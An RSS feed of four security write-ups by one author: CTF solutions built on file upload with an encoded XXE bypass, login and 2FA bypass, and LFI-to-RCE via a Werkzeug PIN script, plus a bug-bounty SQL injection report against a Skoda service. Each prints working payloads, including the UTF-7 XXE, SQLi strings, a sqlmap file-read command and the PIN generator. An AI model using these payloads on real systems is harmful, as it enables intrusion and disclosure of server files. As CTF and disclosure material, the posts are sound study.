<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xEl2rsh on Medium]]></title>
        <description><![CDATA[Stories by 0xEl2rsh on Medium]]></description>
        <link>https://medium.com/@0xEl2rsh?source=rss-ff6bd610748c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*y2h7fAoqidp3Ev-pmRIeww.jpeg</url>
            <title>Stories by 0xEl2rsh on Medium</title>
            <link>https://medium.com/@0xEl2rsh?source=rss-ff6bd610748c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:07:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xEl2rsh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Season | Finals CYCTF Luxor 2026]]></title>
            <link>https://medium.com/@0xEl2rsh/season-finals-cyctf-luxor-2026-79933040f446?source=rss-ff6bd610748c------2</link>
            <guid isPermaLink="false">https://medium.com/p/79933040f446</guid>
            <dc:creator><![CDATA[0xEl2rsh]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 13:47:55 GMT</pubDate>
            <atom:updated>2026-03-31T13:50:31.430Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*v7f3F5EALFuuPvpfRb1Inw.png" /></figure><p><em>This is a web CTF challenge simulating an e-commerce site with multiple attack surfaces. The flag is stored at a randomized path </em><em>/flag_&lt;uuid&gt;.txt on the server filesystem, and the goal is to read it.</em></p><pre>if [ -n &quot;$FLAG&quot; ]; then<br>    RAND=$(cat /proc/sys/kernel/random/uuid | tr -d &#39;-&#39;)<br>    FLAG_FILE=&quot;/flag_${RAND}.txt&quot;<br>    echo &quot;$FLAG&quot; &gt; &quot;$FLAG_FILE&quot;<br>    chmod 444 &quot;$FLAG_FILE&quot;<br></pre><p><em>Let me diagram both attack paths:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_-rL6JjpRA_BTTg_R2zUA.png" /></figure><blockquote>Path 1: Unrestricted File Upload</blockquote><h3>The Vulnerability</h3><p>upload.php renames uploaded files to a UUID but <strong>never validates the file extension or content type</strong>. It only preserves the original extension:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PrBjvsodFqF7Vqf21tw2Q.png" /></figure><p>$extension = pathinfo($originalName, PATHINFO_EXTENSION); $newFilename = $uuid . ($extension ? “.” . $extension : “”);<br><em> If you upload `shell.php`, it gets stored as something like `a1b2c3d4-….php` in the `uploads/` directory — and since that directory is inside the web root, Apache will execute it.</em></p><p><strong>Exploitation</strong> <br>**Step 1** — Upload a PHP webshell via the Contact page’s file upload button:</p><pre>&lt;?php<br>$output = &#39;&#39;;<br>$input = $_POST[&#39;cmd&#39;] ?? &#39;&#39;;<br><br>if ($input !== &#39;&#39;) {<br>    $output = &quot;Executed: &quot; . $input . &quot;\n\n[Demo Output Placeholder]&quot;;<br>}<br>?&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>&lt;meta charset=&quot;utf-8&quot;&gt;<br>&lt;title&gt;Terminal Demo&lt;/title&gt;<br>&lt;style&gt;<br>body {<br>    background: #0d1117;<br>    color: #00ff9c;<br>    font-family: monospace;<br>    padding: 30px;<br>}<br>.terminal {<br>    background: #010409;<br>    border-radius: 10px;<br>    padding: 20px;<br>    box-shadow: 0 0 20px #00ff9c33;<br>}<br>input {<br>    background: transparent;<br>    border: none;<br>    color: #00ff9c;<br>    outline: none;<br>    width: 90%;<br>    font-family: monospace;<br>}<br>.prompt::before {<br>    content: &quot;root@lab:~$ &quot;;<br>    color: #00ff9c;<br>}<br>.output {<br>    margin-top: 10px;<br>    white-space: pre-wrap;<br>}<br>&lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>&lt;div class=&quot;terminal&quot;&gt;<br>    &lt;form method=&quot;POST&quot;&gt;<br>        &lt;div class=&quot;prompt&quot;&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;cmd&quot; value=&quot;&lt;?= htmlspecialchars($input, ENT_QUOTES, &#39;UTF-8&#39;) ?&gt;&quot; autofocus&gt;<br>        &lt;/div&gt;<br>    &lt;/form&gt;<br><br>    &lt;?php if ($input !== &#39;&#39;): ?&gt;<br>        &lt;div class=&quot;output&quot;&gt;&lt;?= htmlspecialchars($output, ENT_QUOTES, &#39;UTF-8&#39;) ?&gt;&lt;/div&gt;<br>    &lt;?php endif; ?&gt;<br>&lt;/div&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J9TyXKs6lrD2wRMBbG1C3Q.png" /></figure><ul><li>*Step 2** — Access your shell:</li></ul><pre>GET /uploads/&lt;uuid&gt;.php</pre><p><em>You should to know path of file uploaded .</em></p><blockquote><strong><em>Path 2: XXE Injection (Bypassing the DOCTYPE Filter)</em></strong></blockquote><h3>The Vulnerability</h3><p>importConfig.php processes XML with a <strong>dangerously permissive configuration</strong>:</p><pre>$dom-&gt;resolveExternals = true;<br>$dom-&gt;substituteEntities = true;<br>$dom-&gt;loadXML($xmlContent, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);</pre><p>This is a textbook XXE setup. The developer tried to block it by rejecting any XML containing &lt;!DOCTYPE:</p><pre>if (stripos($xmlContent, &#39;&lt;!DOCTYPE&#39;) !== false) {<br>    die(&quot;DOCTYPE declarations are not allowed.&quot;);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StgtnxGlvSuA_PfxYPaMqg.png" /></figure><h3>Bypassing the Filter</h3><p>Initially, the application appeared to block malicious XML payloads by performing a naive case-insensitive string check on the request content. This prevented direct usage of typical XXE constructs such as &lt;!DOCTYPE&gt;.</p><p>To bypass this restriction, I experimented with multiple techniques, including alternative encodings and payload variations. After several attempts, I discovered that the filter fails to properly handle different character encodings.</p><p>Specifically, by switching the XML encoding to <strong>UTF-7</strong>, I was able to evade the filter while still having the payload correctly interpreted by the XML parser. Since the filter operates on the raw input and does not normalize or decode the encoding before inspection, the malicious keywords were not detected.</p><p>As a result, the XXE payload was successfully processed, leading to entity expansion and file disclosure.<br>link=&gt;`<a href="https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-advanced-xxe-vulnerabilities">https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-advanced-xxe-vulnerabilities</a>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHkp12LZDIi0w5REG0pSUA.png" /></figure><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-7&quot;?&gt;<br>+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/passwd+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhnYAQS7TqvixsZX7fkctg.png" /></figure><p>we dumped the /etc/passwd lets read the source.</p><pre>#!/bin/bash<br>set -e<br><br>sqlite3 /var/www/submissions.db &quot;<br>CREATE TABLE IF NOT EXISTS submissions (<br>    id INTEGER PRIMARY KEY AUTOINCREMENT,<br>    filename TEXT NOT NULL,<br>    filepath TEXT NOT NULL,<br>    uploaded_at DATETIME DEFAULT CURRENT_TIMESTAMP<br>);<br>&quot;<br>chown www-data:www-data /var/www/submissions.db<br><br>if [ -n &quot;$FLAG&quot; ]; then<br>    RAND=$(cat /proc/sys/kernel/random/uuid | tr -d &#39;-&#39;)<br>    FLAG_FILE=&quot;/flag_${RAND}.txt&quot;<br>    echo &quot;$FLAG&quot; &gt; &quot;$FLAG_FILE&quot;<br>    chmod 444 &quot;$FLAG_FILE&quot;<br>else<br>    echo &quot;WARNING: FLAG env variable is not set&quot; &gt;&amp;2<br>fi<br><br>exec apache2-foreground</pre><pre>&lt;?php<br><br>function generateUUID(): string<br>{<br>    return sprintf(&#39;%04x%04x-%04x-%04x-%04x-%04x%04x%04x&#39;,<br>        mt_rand(0, 0xffff), mt_rand(0, 0xffff),<br>        mt_rand(0, 0xffff),<br>        mt_rand(0, 0x0fff) | 0x4000,<br>        mt_rand(0, 0x3fff) | 0x8000,<br>        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)<br>    );<br>}<br><br>function initDatabase(): PDO<br>{<br>    $dbPath = &#39;/var/www/submissions.db&#39;;<br><br>    $pdo = new PDO(&#39;sqlite:&#39; . $dbPath);<br>    $pdo-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br><br>    $pdo-&gt;exec(&quot;<br>        CREATE TABLE IF NOT EXISTS submissions (<br>            id INTEGER PRIMARY KEY AUTOINCREMENT,<br>            filename TEXT NOT NULL,<br>            filepath TEXT NOT NULL,<br>            uploaded_at DATETIME DEFAULT CURRENT_TIMESTAMP<br>        )<br>    &quot;);<br><br>    return $pdo;<br>}<br><br>function displayFileLink(string $filePath): void<br>{<br>    if (!file_exists($filePath)) {<br>        echo &quot;&lt;span class=&#39;text-danger&#39;&gt;File not found&lt;/span&gt;&quot;;<br>        return;<br>    }<br><br>    $fileName = basename($filePath);<br><br>    echo &quot;&lt;div class=&#39;alert alert-success mt-3&#39;&gt;<br>            File stored as: &lt;strong&gt;{$fileName}&lt;/strong&gt;&lt;br&gt;<br>            &lt;a href=&#39;../uploads/{$fileName}&#39; target=&#39;_blank&#39;&gt;<br>                Open File<br>            &lt;/a&gt;<br>          &lt;/div&gt;&quot;;<br>}</pre><p>We should read a ‘/var/www/submissions.db’ to Get the path the shell , but the problem that submissions.db is considered as a binary we can read it directly but we can dump it is a base64 so now are steps are by <br>=&gt;</p><pre>Php: //filter/convert.base64-encode/resource=/var/www/submissions.db</pre><p>the final payload =&gt;</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-7&quot;?&gt;<br>+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-Php://filter/convert.base64-encode/resource=/var/www/submissions.db+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_-HMxQOVMg9kfGf8IneVQ.png" /></figure><p>You should to decode this to see the path of the file =&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BMGSYu84Uo8bk_7oajqIlA.png" /></figure><p>The file is =&gt;f614ebdc-e9af-41c3–98fe-c1a1e5d72b2f.php</p><p>=&gt;`http://localhost:5001/uploads/f614ebdc-e9af-41c3–98fe-c1a1e5d72b2f.php`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22Om3ad4RIYiISf5RDSaBg.png" /></figure><p>now lets get the flag =&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BCO5NxIKYUb1MqbNipmhjA.png" /></figure><p>You got the flag thank for reading <br>Solved with <a href="https://medium.com/u/0ad729534f86">MM8</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79933040f446" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection in Skoda ]]></title>
            <link>https://medium.com/@0xEl2rsh/sql-injection-in-skoda-b17399dcd06c?source=rss-ff6bd610748c------2</link>
            <guid isPermaLink="false">https://medium.com/p/b17399dcd06c</guid>
            <dc:creator><![CDATA[0xEl2rsh]]></dc:creator>
            <pubDate>Fri, 21 Nov 2025 18:02:30 GMT</pubDate>
            <atom:updated>2025-11-21T18:03:53.387Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*4wge8KBcijlu07ItD9RWYg.png" /></figure><p><strong>Alhamdulillah</strong>, I was able to discover an SQL Injection vulnerability affecting a core Skoda service.<br> During my testing, I successfully escalated the impact of the vulnerability from a simple SQL Injection to a more severe scenario where I could <strong>read sensitive internal files</strong> through database functions.<br> This exposure could potentially lead to further compromise depending on the environment configuration.</p><p>In this write-up, I’ll walk through:</p><ul><li>How I found the SQL Injection</li><li>How I escalated it to read critical files</li><li>Proof of concept</li><li>Impact analysis</li></ul><p><strong>First, </strong>While I was working on the program, I came across a domain that exposed several administrative functionalities, including Admin Login, Change Password, and Admin Registration pages. This was the first part of the assessment.</p><p>I began testing the input fields across these functionalities, While testing the input fields inside the <strong>Change Password</strong> functionality, one of my payloads triggered a clear <strong>database error</strong>.<br> This error was returned directly from the backend, which strongly indicated that the input was being processed in an unsafe way — and that the application might be vulnerable to SQL Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iOwJGrJdo4Iz1xdsBVsvuQ.png" /></figure><p>The behavior confirms the presence of an error‑based SQL injection vulnerability. Additionally, I was able to inject a time‑based payload (e.g., SLEEP) to delay the database response, demonstrating full query execution control.</p><blockquote>‘ OR (SELECT 1302 FROM (SELECT(SLEEP(10)))LpsJ) — qMDv</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nIjpXWg6YGQdsxEXRo5GwA.png" /></figure><p><strong>I then attempted to read sensitive files on the server, and I was able to access critical paths such as </strong><strong>/etc/passwd . This significantly increases the severity, as file read primitives can be chained into Remote Code Execution (RCE).</strong></p><blockquote>sqlmap -r testt.txt — file-read=”/etc/passwd”</blockquote><p>The example above illustrates just one of the sensitive files I managed to access. This summarizes the main idea of my write‑up, and the SQL injection vulnerability was relatively straightforward to exploit. Despite its simplicity, it resulted in significant information disclosure and demonstrated a clear attack path toward full system compromise.</p><p>Thanks,<br>@0xEl2rsh</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b17399dcd06c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Flags in the air]]></title>
            <link>https://medium.com/@0xEl2rsh/flags-in-the-air-0dd168218630?source=rss-ff6bd610748c------2</link>
            <guid isPermaLink="false">https://medium.com/p/0dd168218630</guid>
            <dc:creator><![CDATA[0xEl2rsh]]></dc:creator>
            <pubDate>Sun, 14 Sep 2025 17:04:47 GMT</pubDate>
            <atom:updated>2025-09-14T17:29:01.022Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hackers,</p><p>Here is a write-up in Connectors CTF — “Flags in the air”.</p><h3><strong>Step 1: Login Bypass</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BGmXGREXUVbgbD05BYdHMQ.png" /></figure><ul><li>The login endpoint expected username and password.</li><li>The server checked credentials as follows:</li></ul><pre>if USERS.get(username) == password:</pre><ul><li><strong>Issue:</strong> If password was missing or None, the check could be bypassed due to insufficient validation.</li><li><strong>Action:</strong> By sending a JSON payload with a missing or empty password, I received a JWT token indicating that 2FA was required.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*74qEBT-PYT-Z7cGTqtImpw.png" /></figure><h3>Step 2: 2FA Bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fFKBNvBFJzBqHHOGKEz4BQ.png" /></figure><pre>if TWO_FA_CODES.get(current_user) == code:</pre><p>With each login attempt with a specific username, the 2FA code for that username is set to None, and a new one is generated when the password matches. But when passwords don&#39;t match, it does nothing. The 2FA code remains None, and the JWT token with &#39;2fa&#39; role is still valid.</p><p>So all we need to do is to login for the second time with the same username and any wrong password (which is anything since the user doesn’t exist), and the 2FA code will be None.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*PI1uayUCTH27utggczj-UQ.jpeg" /></figure><p>We have command line access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*Xg0Ptfn3wBdPpQupQVBGVA.png" /></figure><p>Nothing special in the corresponding endpoint, just a simple command execution.</p><blockquote>cat /proc/1/cmdline</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*G1co-TVbUji8c8THL2TXow.png" /></figure><p>And that’s it for this challenge. Sometimes flags are flying right past you in stdout. Hope you enjoyed the writeup and learned something new. Till the next one!</p><p>Thanks, hackers!</p><p>🦈 0xEl2rsh 🦈</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0dd168218630" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Sucks Write-up]]></title>
            <link>https://medium.com/@0xEl2rsh/python-sucks-write-up-93e5d6adc9e5?source=rss-ff6bd610748c------2</link>
            <guid isPermaLink="false">https://medium.com/p/93e5d6adc9e5</guid>
            <dc:creator><![CDATA[0xEl2rsh]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 23:29:24 GMT</pubDate>
            <atom:updated>2025-09-15T11:08:31.258Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*cDWhZVq4rsYe0TRxKxdvQQ.jpeg" /></figure><p>Hello Hackers,</p><p>Here is a write-up in Connectors CTF — “Python Sucks (The intended way).” Solved the challenge using a chain of SQLi → LFI → source disclosure → RCE flask Werkzeug→ console → flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3vPHVgVDRDY3Cx1YLif48Q.jpeg" /></figure><p>At first I tried bypassing admin via SQLi — used the payload username=admin&#39;--&amp;password=admin and it worked: it returned an admin row and gave me dashboard access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCnhhP7JwS6gMXtuls65ZA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FNnwyTFmgk2F6FF43KJNA.jpeg" /></figure><p>After obtaining an admin session I found a file-viewer endpoint — attempts to read /etc/passwd and /etc/shadow were blocked, but I successfully retrieved app.py (source code disclosure).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwTbL1Bal5aigPNmfeAMLA.jpeg" /></figure><p>I bypassed the sanitizer by prefixing the filename with 50 ‘/’ characters (plus filler), which allowed me to read /////////////////////////////////////////////////////////////etc/passwd.</p><p>After that I tried to read other sensitive files referenced in the source (e.g. /etc/shadow and various config/log files), but those attempts failed because a stronger filter prevented access. The application uses a broad blacklist (sanitize_filename) and a positional transform (remove_slashes) which made some paths (like app.py and the crafted /etc/passwd payload) readable while effectively blocking others. Documenting these failed attempts helps illustrate the inconsistent protection provided by blacklist-based sanitization and supports the recommendation to replace it with canonical path confinement and whitelisting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uoEnUQCkTvpRdnBpzZdh9A.jpeg" /></figure><p>I checked robots.txt and followed a hint to /version, which disclosed component versions: &quot;flask_version&quot;: &quot;3.0.0&quot; and &quot;postgresql_version&quot;: &quot;17.2&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBMSux5mC7sZZI61rqHUIw.jpeg" /></figure><p>Using the disclosed versions from /version, I found a public vulnerability for the reported Werkzeug/Flask stack that allowed chaining the LFI into remote code execution (LFI → RCE) in this CTF environment.</p><pre>&lt;https://blog.gregscharf.com/2023/04/09/lfi-to-rce-in-flask-werkzeug-application/&gt;</pre><p>After escalating the LFI to code execution, I enumerated host metadata to confirm the level of compromise. I successfully read the network interface MAC from /sys/class/net/eth0/address and the machine boot identifier from /proc/sys/kernel/random/boot_id. I also checked the active user context and confirmed the process was running as root, which meant the exploit provided full system privileges and allowed access to all files on the host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d11how0BCfSTox1W9nBuMA.png" /></figure><p>After that I wrote a script whose purpose is to generate the <strong>PIN</strong> that allows me to access the privileged <strong>console</strong>.</p><pre>import hashlib<br>from itertools import chain<br>probably_public_bits = [<br>    &#39;root&#39;,# username<br>    &#39;flask.app&#39;,# modname<br>    &#39;Flask&#39;,# getattr(app, &#39;name&#39;, getattr(app.class, &#39;name&#39;))<br>    # &#39;/usr/local/lib/python3.9/site-packages/flask/app.py&#39; # getattr(mod, &#39;file&#39;, None),<br>    &#39;/usr/local/lib/python3.9/site-packages/flask/app.py&#39;<br>]<br>private_bits = [<br>    &#39;187980907409471&#39;,  # str(uuid.getnode()),  /sys/class/net/ens33/address<br>    &#39;31837068-9c14-42ad-ae0b-7038d36906fb&#39;  # get_machine_id(), /etc/machine-id<br>]<br># h = hashlib.md5()  # Changed in &lt;https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0&gt;<br>h = hashlib.sha1()<br>for bit in chain(probably_public_bits, private_bits):<br>    if not bit:<br>        continue<br>    if isinstance(bit, str):<br>        bit = bit.encode(&#39;utf-8&#39;)<br>    h.update(bit)<br>h.update(b&#39;cookiesalt&#39;)<br># h.update(b&#39;shittysalt&#39;)<br>cookie_name = &#39;__wzd&#39; + h.hexdigest()[:20]<br>num = None<br>if num is None:<br>    h.update(b&#39;pinsalt&#39;)<br>    num = (&#39;%09d&#39; % int(h.hexdigest(), 16))[:9]<br>rv = None<br>if rv is None:<br>    for group_size in 5, 4, 3:<br>        if len(num) % group_size == 0:<br>            rv = &#39;-&#39;.join(num[x:x + group_size].rjust(group_size, &#39;0&#39;)<br>                          for x in range(0, len(num), group_size))<br>            break<br>    else:<br>        rv = num<br>print(rv)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvhyAvR6a1AzKWw_EIfWIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J0HnlitD3SZ6_MhTL8m-_w.png" /></figure><p>Finally, I retrieved the flag by running: __import__(&#39;os&#39;).popen(&quot;grep -r -I -E &#39;CONCTF{.*}&#39; /&quot;).read() This returned the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w1-KbVL7SMxDjmEgs7WuLQ.png" /></figure><p>Thanks, hackers!</p><p>🦈 0xEl2rsh 🦈</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93e5d6adc9e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>